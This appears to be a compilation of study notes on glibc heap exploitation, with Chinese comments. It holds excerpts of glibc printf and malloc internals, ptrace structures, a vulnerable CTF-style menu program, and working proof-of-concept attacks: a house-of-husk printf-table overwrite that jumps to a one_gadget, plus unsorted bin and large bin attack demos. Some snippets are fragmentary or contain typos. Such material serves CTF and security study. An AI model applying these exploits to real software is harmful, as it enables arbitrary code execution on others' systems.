#define _GNU_SOURCE
#include <stdio.h>
#include <stdarg.h>
#include <printf.h>

/**
 * binary_arginfo - Custom arginfo function for binary format specifier
 * @info: Pointer to printf_info structure
 * @n: Number of arguments
 * @argtypes: Array to store argument types
 */
int binary_arginfo(const struct printf_info *info, size_t n, int *argtypes)
{
    if(n > 0)
    {
        argtypes[0] = PA_INT; // The type of the argument is int
    }
    return 1; // Number of arguments used
}

/**
 * binary_handler - Custom handler function for binary format specifier
 * @stream: Output stream
 * @info: Pointer to printf_info structure
 * @args: Array of argument pointers
 */
int binary_handler(FILE *stream, const struct print_info *info, const void *const *args)
{
    int val = *((const int *)args[0]); // Retrieve the integer argument
    for(int i = sizeof(int) *8 -1; i >= 0; i--)
    {
        fputc((val >> i) & 1 ? '1' : '0', stream); // Print each bit    
    }
}

int main ()
{
    // Register the custom binary format specifier 'b'
    register_printf_specifier('b', binary_handler, binary_arginfo);

    // Test the custom format specifier
    int number = 15;
    printf("Binary representation of %d is: %b\n", number, number);

    return 0;
}

/* Register FUNC to be called to format SPEC specifiers.  */
int
__register_printf_specifier (int spec, printf_function converter,
			     printf_arginfo_size_function arginfo)
{
  if (spec < 0 || spec > (int) UCHAR_MAX)
    {
      __set_errno (EINVAL);
      return -1;
    }

  int result = 0;
  __libc_lock_lock (lock);

  if (__printf_function_table == NULL)
    {
		__printf_arginfo_table = (printf_arginfo_size_function **)
		calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
      if (__printf_arginfo_table == NULL)
	{
		result = -1;
		goto out;
	}

    __printf_function_table = (printf_function **)(__printf_arginfo_table + UCHAR_MAX + 1);
    }

  __printf_function_table[spec] = converter;
  __printf_arginfo_table[spec] = arginfo;

 out:
  __libc_lock_unlock (lock);

  return result;
}

int
__printf (const char *format, ...)
{
  va_list arg;
  int done;

  va_start (arg, format);
  done = __vfprintf_internal (stdout, format, arg, 0);
  va_end (arg);

  return done;
}

/* The function itself.  */
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
......
/* Use the slow path in case any printf handler is registered.  */
  if (__glibc_unlikely (__printf_function_table != NULL
      || __printf_modifier_table != NULL
      || __printf_va_arg_table != NULL))
    goto do_positional;  // <--- 情况1
    
...
    
    
    LABEL (width_asterics):
      // ...
      if (pos && *tmp == L_('$'))
        /* The width comes from a positional parameter.  */
        goto do_positional; // <--- 情况2
   
...
    
    LABEL (width):
          // ...
          if (*f == L_('$'))
            /* Oh, oh.  The argument comes from a positional parameter.  */
            goto do_positional; // <--- 情况3
      
    LABEL (precision):
      // ...
      if (pos && *tmp == L_('$'))
        /* The precision comes from a positional parameter.  */
        goto do_positional; // <--- 情况4
    
    LABEL (form_unknown):
      // ...
    /* If we are in the fast loop force entering the complicated
       one.  */
    goto do_positional; // <--- 情况6
    
    
   
...
    

  /* Hand off processing for positional parameters.  */
do_positional:
  done = printf_positional (s, format, readonly_format, ap, &ap_save,
			    done, nspecs_done, lead_str_end, work_buffer,
			    save_errno, grouping, thousands_sep, mode_flags);
			    
......
}

static int
printf_positional (FILE *s, const CHAR_T *format, int readonly_format,
		   va_list ap, va_list *ap_savep, int done, int nspecs_done,
		   const UCHAR_T *lead_str_end,
		   CHAR_T *work_buffer, int save_errno,
		   const char *grouping, THOUSANDS_SEP_T thousands_sep,
		   unsigned int mode_flags)
{
....
          /* Parse the format specifier.  */
#ifdef COMPILE_WPRINTF
      nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg);
#else
      nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
#endif
    }

....
    
}

size_t
attribute_hidden
#ifdef COMPILE_WPRINTF
__parse_one_specwc (const UCHAR_T *format, size_t posn,
		    struct printf_spec *spec, size_t *max_ref_arg)
#else
__parse_one_specmb (const UCHAR_T *format, size_t posn,
		    struct printf_spec *spec, size_t *max_ref_arg)
#endif
{
    .....
        
          /* Get the format specification.  */
  spec->info.spec = (wchar_t) *format++;
  spec->size = -1;
  if (__builtin_expect (__printf_function_table == NULL, 1)
      || spec->info.spec > UCHAR_MAX
      || __printf_arginfo_table[spec->info.spec] == NULL
      /* We don't try to get the types for all arguments if the format
	 uses more than one.  The normal case is covered though.  If
	 the call returns -1 we continue with the normal specifiers.  */
      || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
				   (&spec->info, 1, &spec->data_arg_type,
				    &spec->size)) < 0)
    {
      /* Find the data argument types of a built-in spec.  */
      spec->ndata_args = 1;

      switch (spec->info.spec)
	{
      	......
            
}

#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST  0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO   0x3ec870
#define ONE_GADGET       0x10a38c

int main (void)
{
  unsigned long libc_base;
  char *a[10];
  setbuf(stdout, NULL); // make printf quiet

  /* leak libc */
  a[0] = malloc(0x500); /* UAF chunk */
  a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
  a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
  a[3] = malloc(0x500); /* avoid consolidation */
  free(a[0]);
  libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
  printf("libc @ 0x%lxn", libc_base);

  /* prepare fake printf arginfo table */
  *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
  //*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
    //now __printf_arginfo_table['X'] = one_gadget;

  /* unsorted bin attack */
  *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
  a[0] = malloc(0x500); /* overwrite global_max_fast */

  /* overwrite __printf_arginfo_table and __printf_function_table */
  free(a[1]);// __printf_function_table => a heap_addr which is not NULL
  free(a[2]);//__printf_arginfo_table => one_gadget

  /* ignite! */
  printf("%X", 0);

  return 0;
}

ptrace(PTRACE_TRACEME, pid, NULL, NULL);

ptrace(PTRACE_DETACH, pid, null, signal);

long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

struct user_regs_struct 
{
    unsigned long r15, r14, r13, r12, rbp, rbx, r11, r10;
    unsigned long r9, r8, rax, rcx, rdx, rsi, rdi;
    unsigned long orig_rax;  // 系统调用号/返回值（+0x78)
    unsigned long rip;       // 指令指针（+0x80）
    unsigned long cs;        // 代码段寄存器
    unsigned long eflags;    // 标志寄存器
    unsigned long rsp;       // 栈指针
    unsigned long ss;        // 栈段寄存器
    unsigned long fs_base;   // FS 段基址
    unsigned long gs_base;   // GS 段基址
    unsigned long ds, es, fs, gs;  // 段寄存器
};

struct user_regs_struct 
{
    long ebx, ecx, edx, esi, edi, ebp, eax;
    int xds, xes, xfs, xgs;
    long orig_eax;  // 系统调用号
    long eip;       // 指令指针
    short xcs, xss, xds, xes, xfs, xgs;
    long eflags, esp;
};

struct user_fpregs_struct 
{
    __uint128_t st_space[32];  // 80-bit x 8 寄存器
};

struct user_fpregs_struct 
{
    int cwd, swd, twd, fip, fcs, foo, fos;
    long st_space[20];  // 80-bit x 8 寄存器
};

struct user_fpxregs_struct 
{
    __uint128_t st_space[32];  // 80-bit x 8 寄存器
    __uint128_t xmm_space[32]; // 128-bit x 16 寄存器 (SSE)
    unsigned int padding[24];  // 填充
};

struct user_fpxregs_struct 
{
    unsigned short cwd, swd, twd, fop;
    unsigned int fip, fcs, foo, fos, mxcsr, reserved;
    long st_space[32];   // 80-bit x 8 寄存器
    long xmm_space[32];  // 128-bit x 16 寄存器 (SSE)
    long padding[56];    // 填充
};

typedef struct siginfo 
{
    int si_signo;    // 信号编号
    int si_errno;    // 错误码
    int si_code;     // 信号来源代码
    
    // 以下字段根据 si_code 的值而不同
    union {
        int _pad[28];  // 保留空间
        
        // kill(), sigsend(), raise() 发送的信号
        struct {
            pid_t _pid;    // 发送进程ID
            uid_t _uid;    // 发送进程真实UID
        } _kill;
        
        // 定时器信号
        struct {
            timer_t _tid;      // 定时器ID
            int _overrun;      // 超限计数
            char _pad[sizeof(__ARCH_SI_UID_T) - sizeof(int)];
            sigval_t _sigval;
            int _sysid;
        } _timer;
        
        // 管道写入到无读取端
        struct {
            pid_t _pid;    // 子进程ID
            uid_t _uid;    // 子进程真实UID
        } _cld;
        
        // 用户空间产生的信号
        struct {
            pid_t _pid;    // 发送进程ID
            uid_t _uid;    // 发送进程真实UID
            sigval_t _sigval;
        } _rt;
        
        // 段错误等硬件异常
        struct {
            void *_addr;   // 错误地址
            short _addr_lsb; // 地址LSB
            union {
                struct {
                    void *_addr2;
                    ushort _dummy2[3];
                } _addr;
                struct {
                    unsigned int _dummy1[3];
                    unsigned int _dummy2;
                } _dummy;
            } _bounds;
        } _sigchld;
        
        // 其他错误
        struct {
            void *_addr;   // 错误地址
            short _addr_lsb; // 地址LSB
            void *_lower;
            void *_upper;
        } _sigfault;
        
        // 系统调用跟踪
        struct {
            long _call_addr; // 系统调用指令地址
            int _syscall;    // 系统调用号
            unsigned int _arch; // 系统调用架构
        } _sigsys;
    } _sifields;
} siginfo_t;

struct iovec 
{
    void *iov_base;  // 数据缓冲区起始地址
    size_t iov_len;  // 缓冲区长度
};

struct iovec iov;
iov.iov_base = &regs;  // 指向寄存器结构
iov.iov_len = sizeof(regs);

// 获取寄存器集
ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov);

// 获取 x86 扩展状态（包括 AVX 寄存器）
struct iovec iov;
iov.iov_base = &xsave;
iov.iov_len = sizeof(xsave);

ptrace(PTRACE_GETREGSET, pid, NT_X86_XSTATE, &iov);

/* 获取下一个块的指针 */
nextchunk = chunk_at_offset(p, size);
/* 检查下一个块的prev_size是否等于当前块size */
if (__builtin_expect(nextchunk->prev_size != size, 0))
    malloc_printerr("corrupted size vs. prev_size");

/* 验证前后节点指针的完整性：前驱的后继和后继的前驱必须都指向P */
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
  
  /* 链表完整性验证通过，执行移除操作 */      
  else {								      
      /* 基本链表操作：让前驱和后继互相指向，跳过P */  
      FD->bk = BK;							      
      BK->fd = FD;			
      ....

/* 处理非small bin的特殊情况（large bins可能有额外的大小链表） */
      if (!in_smallbin_range (P->size)				      
          && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      
          /* 检查大小链表的完整性 */
   if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
     malloc_printerr (check_action,				      
	       "corrupted double-linked list (not small)",    
	       P, AV);					      

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <malloc.h> // malloc_usable_size

#define MAX_CHUNKS 10

char *chunks[MAX_CHUNKS];

void menu()
{
    puts("==== Menu ====");
    puts("1. Add");
    puts("2. Edit");
    puts("3. Show");
    puts("4. Delete");
    puts("5. Exit");
    printf("> ");
}

int read_int()
{
    char buf[16];
    if (!fgets(buf, sizeof(buf), stdin)) exit(0);
    return atoi(buf);
}

void add()
{
    int idx;
    for (idx = 0; idx < MAX_CHUNKS; idx++)
    {
        if (!chunks[idx]) break;
    }
    if (idx == MAX_CHUNKS)
    {
        puts("No free slot!");
        return;
    }
    printf("Size: ");
    size_t sz = read_int();
    chunks[idx] = malloc(sz);
    if (!chunks[idx])
    {
        puts("malloc failed");
        exit(1);
    }
    printf("Data: ");
    int end = read(0, chunks[idx], sz);

    chunks[idx][end] = '\0';

    puts("Added.");
}

void edit()
{
    printf("Index: ");
    int idx = read_int();
    if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
    {
        puts("Invalid index");
        return;
    }
    size_t real_size = malloc_usable_size(chunks[idx]);
    printf("Data: ");
    read(0, chunks[idx], real_size);
    puts("Edited.");
}

void show()
{
    printf("Index: ");
    int idx = read_int();
    if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
    {
        puts("Invalid index");
        return;
    }
    puts(chunks[idx]);
    puts("");
}

void delete()
{
    printf("Index: ");
    int idx = read_int();
    if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
    {
        puts("Invalid index");
        return;
    }
    free(chunks[idx]);
    chunks[idx] = NULL;
    puts("Deleted.");
}

int main()
{
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);

    int choice;
    while (1)
    {
        menu();
        choice = read_int();
        switch (choice)
        {
            case 1: add(); break;
            case 2: edit(); break;
            case 3: show(); break;
            case 4: delete(); break;
            case 5: exit(0);
            default: puts("Invalid choice");
        }
    }
    return 0;
}

victim = unsorted_chunks (av)->bk
bck = victim->bk
unsorted_chunks (av)->bk = bck
bck->fd = unsorted_chunks (av)

#include <stdio.h>
#include <stdlib.h>

int main(){
    // 程序开始时的提示信息
    fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
		   "global variable global_max_fast in libc for further fastbin attack\n\n");

    // 对应中文：
    /*
    fprintf(stderr, "本程序演示如何通过 unsorted bin 攻击将一个大的无符号长整型值写入栈中。\n");
    fprintf(stderr, "在实际攻击中，unsorted bin 攻击通常是为了进一步攻击做准备，例如修改 libc 中的全局变量 global_max_fast，以便进行 fastbin 攻击。\n\n");
    */

	unsigned long stack_var=0;
	fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
	fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

    // 对应中文：
    /*
	fprintf(stderr, "首先，我们看一下栈上想要覆盖的目标变量：\n");
	fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
    */

	unsigned long *p=malloc(0x500);
	fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
	fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\n\n");
	malloc(0x600);

    // 对应中文：
    /*
	fprintf(stderr, "现在，我们在堆上分配第一个正常内存块，地址为：%p\n", p);
	fprintf(stderr, "再分配另一个正常的内存块，目的是避免在释放第一个内存块时，top chunk 与其合并。\n\n");
    */

	free(p);
	fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
		   "point to %p\n",(void*)p[1]);

    // 对应中文：
    /*
	fprintf(stderr, "我们现在已经释放了第一个内存块，它将被插入到 unsorted bin 中，其 bk 指针指向：%p\n", (void*)p[1]);
    */

	//------------VULNERABILITY-----------

	p[1]=(unsigned long)(&stack_var-2);
	fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
	fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

	//------------------------------------

    // 对应中文：
    /*
	fprintf(stderr, "现在模拟一个可以覆盖 victim->bk 指针的漏洞。\n");
	fprintf(stderr, "我们将 victim->bk 写为目标地址减去 16（如果是 32 位机器，则应为目标地址减去 8）：%p\n\n", (void*)p[1]);
    */

	malloc(0x500);
	fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
		   "rewritten:\n");
	fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

    // 对应中文：
    /*
	fprintf(stderr, "再次调用 malloc 来获取我们刚刚释放的内存块。在这个过程中，目标变量应该已经被改写了：\n");
	fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
    */

// victim是当前即将进入 large bin 的堆块
if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk)) 
{
    // 如果victim的size小于当前链表中某chunk的size
    // 将victim插入到该chunk之前，维护nextsize链表
    victim->fd_nextsize = bck;
    victim->bk_nextsize = bck->bk_nextsize;
    bck->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;
}
else
{
    // 如果victim的size大于等于链表中所有chunk的size
    // 将victim插入到链表尾部
    victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;
}
// 将bck指向fwd->bk，为后续主链表插入做准备
bck = fwd->bk;
// ...existing code...

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
 
int main()
{
    setbuf(stdout, NULL);

    printf("本文件演示了通过large bin攻击将一个大的unsigned long值写入栈中\n");
    printf("实际上，large bin攻击通常是为进一步攻击做准备，比如重写libc中的全局变量global_max_fast以进行后续的fastbin攻击\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    printf("首先来看一下我们想要在栈上重写的目标:\n");
    printf("stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    printf("stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x420);
    printf("现在，我们在堆上分配第一个large chunk，地址为: %p\n", p1 - 2);

    printf("并且分配另一个fastbin块，以避免在free()时下一个large chunk与第一个large chunk合并\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x500);
    printf("然后，我们在堆上分配第二个large chunk，地址为: %p\n", p2 - 2);

    printf("并且分配另一个fastbin块，以避免在free()时下一个large chunk与第二个large chunk合并\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x500);
    printf("最后，我们在堆上分配第三个large chunk，地址为: %p\n", p3 - 2);

    printf("并且分配另一个fastbin块，以避免在free()时top chunk与第三个large chunk合并\n\n");
    malloc(0x20);

    free(p1);
    free(p2);
    printf("现在我们释放第一个和第二个large chunk，它们将被插入到unsorted bin中:"
           " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

    malloc(0x90);
    printf("现在，我们分配一个比已释放的第一个large chunk更小的块。这会将已释放的第二个large chunk移入large bin freelist，"
            "使用已释放的第一个large chunk的一部分进行分配，并将剩余部分重新插入unsorted bin:"
            " [ %p ]\n\n", (void *)((char *)p1 + 0x90));

    free(p3);
    printf("现在，我们释放第三个large chunk，它将被插入到unsorted bin中:"
           " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
 
    //------------VULNERABILITY-----------
    // 现在模拟一个漏洞，可以覆盖已释放的第二个large chunk的“size”以及它的“bk”和“bk_nextsize”指针
    printf("现在模拟一个漏洞，可以覆盖已释放的第二个large chunk的“size”以及它的“bk”和“bk_nextsize”指针\n");
    printf("基本思路是减小已释放的第二个large chunk的size，强制malloc将已释放的第三个large chunk插入large bin freelist的头部。"
            "为了覆盖栈变量，我们将“bk”设置为stack_var1之前16字节，将“bk_nextsize”设置为stack_var2之前32字节\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);// bk
    p2[3] = (unsigned long)(&stack_var2 - 4);// bk_nextsize

    //------------------------------------

    malloc(0x90);
 
    printf("我们再malloc一次，这样已释放的第三个large chunk会被插入large bin freelist。"
            "此时目标变量应该已经被重写:\n");

    printf("stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    printf("stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

    // 完整性检查
    assert(stack_var1 != 0);
    assert(stack_var2 != 0);

    return 0;
}

else
{
       victim->fd_nextsize = fwd;
       victim->bk_nextsize = fwd->bk_nextsize;
       if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) 
              malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
       fwd->bk_nextsize = victim;
       victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
       malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

assert (chunk_main_arena (bck->bk));//断言bck->bk属于main_arena
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
       fwd = bck; //这里的fwd可以粗略的认为是large_bin归属的main_arena
       bck = bck->bk; //bck成了main_arena的bk指针指向的堆块(当前链表中最小的那个堆块)
       victim->fd_nextsize = fwd->fd; //我们申请的小堆块的fd_nextsize指向了main_arena的fd指针，也就是所在的large_bin的最大的堆块
       victim->bk_nextsize = fwd->fd->bk_nextsize;//攻击点，没有检测，所以我们可以伪造大堆块的bk_nextsize
       fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; //先进行右值运算，如果在没有进行修改的情况下，等式可以化简为fwd->fd->bk_nextsize = victim，也就是最大堆块的bk_nextsize指向我们的最小堆块victim
}

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

/*

A revisit to large bin attack for after glibc2.30

Relevant code snippet :

	if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
		fwd = bck;
		bck = bck->bk;
		victim->fd_nextsize = fwd->fd;
		victim->bk_nextsize = fwd->fd->bk_nextsize;
		fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
	}


*/

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
  /*Disable IO buffering to prevent stream from interfering with heap*/
  setvbuf(stdin,NULL,_IONBF,0);
  setvbuf(stdout,NULL,_IONBF,0);
  setvbuf(stderr,NULL,_IONBF,0);

  // 原始输出保留不变
  printf("\n\n");
  printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
  printf("Check 1 : \n");
  printf(">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
  printf(">        malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
  printf("Check 2 : \n");
  printf(">    if (bck->fd != fwd)\n");
  printf(">        malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
  printf("This prevents the traditional large bin attack\n");
  printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
  
  printf("====================================================================\n\n");

  size_t target = 0;  // 目标覆盖地址
  printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);

  // 分配第一个large chunk并设置保护块
  size_t *p1 = malloc(0x428);  // 分配0x428大小的块（属于large bin）
  printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
  size_t *g1 = malloc(0x18);   // 小块保护防止合并
  printf("And another chunk to prevent consolidate\n");

  // 分配第二个较小的large chunk并设置保护块
  size_t *p2 = malloc(0x418);  // 分配0x418大小的块（比p1小但同属large bin）
  printf("We also allocate a second large chunk [p2]  (%p).\n",p2-2);
  printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
  size_t *g2 = malloc(0x18);   // 小块保护防止合并
  printf("Once again, allocate a guard chunk to prevent consolidate\n");

  // 释放顺序和large bin插入触发
  free(p1);                    // 先释放较大的块
  printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
  size_t *g3 = malloc(0x438);  // 分配更大的块触发p1插入large bin
  printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

  // 释放较小块并进入unsorted bin
  free(p2);                    // 释放较小的块
  printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
  printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
  printf("and one chunk in unsorted bin [p2] (%p)\n",p2-2);

  // 关键的漏洞利用点 - 修改bk_nextsize指针
  p1[3] = (size_t)((&target)-4);  // 伪造large bin链表指针
  printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);

  // 触发第二次large bin插入并完成地址覆盖
  size_t *g4 = malloc(0x438);     // 分配大于p2的块触发插入
  printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
  printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
  printf("  the modified p1->bk_nextsize does not trigger any error\n");
  printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);

  // 验证漏洞利用结果
  printf("\n");
  printf("In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
  printf("Target (%p) : %p\n",&target,(size_t*)target);

  printf("\n");
  printf("====================================================================\n\n");

  assert((size_t)(p2-2) == target);  // 验证地址是否成功覆盖

  return 0;
}

//av是指向mstate（memory state）的指针，nb是请求的大小
else
    {
      void *p = sysmalloc (nb, av);
      if (p != NULL)
        alloc_perturb (p, bytes);
      return p;
    }

if (contiguous (av) && old_size && brk < old_end) {
    // ...
} else if ((unsigned long) (size) < (unsigned long) (MMAP_AS_MORECORE_SIZE)) {
    size = MMAP_AS_MORECORE_SIZE; // 默认 1MB
    char *mbrk = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0));
}

else { /* av == main_arena */
  size_t pagesize = GLRO(dl_pagesize);
  ...
  /* 计算扩展大小 */
  size = nb + mp_.top_pad + MINSIZE;
  if (contiguous(av))
    size -= old_size; // 如果堆连续，减去旧 top 的大小
  size = ALIGN_UP(size, pagesize); // 对齐到页大小

  brk = (char *) (MORECORE(size)); // 调用 sbrk 扩展堆

  if (brk != (char *)(MORECORE_FAILURE)) {
    ...
    /* 如果新内存与 old_top 相邻，直接合并 */
    if (brk == old_end && snd_brk == (char *)(MORECORE_FAILURE)) {
      set_head(old_top, (size + old_size) | PREV_INUSE); // 合并为新 top
    } else {
      ...
}